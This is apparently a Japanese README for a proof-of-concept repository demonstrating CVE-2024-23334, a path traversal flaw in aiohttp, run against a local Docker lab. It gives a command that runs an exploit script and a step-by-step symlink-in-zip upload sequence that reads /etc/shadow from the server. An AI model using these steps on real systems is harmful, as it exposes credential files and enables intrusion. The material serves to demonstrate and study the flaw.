
このリポジトリには、報告された脆弱性CVE-2024-23334に対するaiohttpライブラリの悪用に関する概念実証(Proof of Concept)が含まれています。
これは2つの理由で作成されました:
詳細については、私のウェブサイト(https://brianre.dev/)をご覧ください。
make build
make run
Dockerをデタッチモードで実行したい場合は、次のコマンドを実行するだけです:
make rund
python3 exploits/exploit_path_traversal.py
このスクリプトを実行すると、サーバーに対してRAW HTTPリクエストを実行しています。curlを使用したり、ブラウザで直接アクセスしたりせずにこの方法を採用するのは、 これらのツールはHTTPリクエストを送信する前にURLのサニタイズと正規化を行うためです。これにはパス正規化が含まれます: curlやブラウザなどのツールはURLパスを処理し、ディレクトリトラバーサルに使用される .. のようなシーケンスを削除します。 そのため、/static/../../../../../../../../../../../../etc/shadow のようなパスは /etc/shadow に正規化され、 そして、そのようなパスは標準的なWebサーバーのリソースとして通常存在しないため、404エラーになります。
/etc/shadow などの制限されたファイルへのシンボリックリンクがすでに作成されている。 このシナリオは最も可能性が低いですが、
社内の誰かがこれを利用して情報を漏えいする可能性があり、人々は静的ログを確認しないかもしれません。
また、静的ファイルへのアクセスがログに記録されない場合、いつ漏えいしたかを特定するのは非常に困難です。このリポジトリで作成されたシナリオは、脆弱性を説明し、それが存在し、まだ悪用可能であることを証明するためのものです。
これを実行する方法は、圧縮ファイルを使用することです。そうすることで、シンボリックリンクをアップロードし、サーバー上で解凍されると、 同じシンボリックリンクが生成されます。curlを使用してシンボリックリンクを link.jpeg ファイルとして直接アップロードすると、シンボリックリンクが指すローカルファイルのみが読み取られ、 代わりに元のファイルがアップロードされます。したがって、サーバーのファイルシステムの特定のパスを対象としたい場合は、.zip や .tar.gz などの圧縮ファイルをアップロードできるようにする必要があります。
この2番目のシナリオを再現するには、次の手順に従う必要があります:
touch /etc/shadow # It creates a file on your machine on the specified directory. Be sure that you don't replace an existing file.
ln -s /etc/shadow exploit.jpeg # Creates a symlink with the /etc/shadow file and name it exploit.jpeg
zip -y images.zip exploit.jpeg # Zip the symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Upload the zip file
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Access the symlink and, because aiohttp has the vulnerability, it returns the /etc/shadow from the server.
TODO
ローカルで開発するためにプロジェクトをセットアップするには、次のことを行う必要があります:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt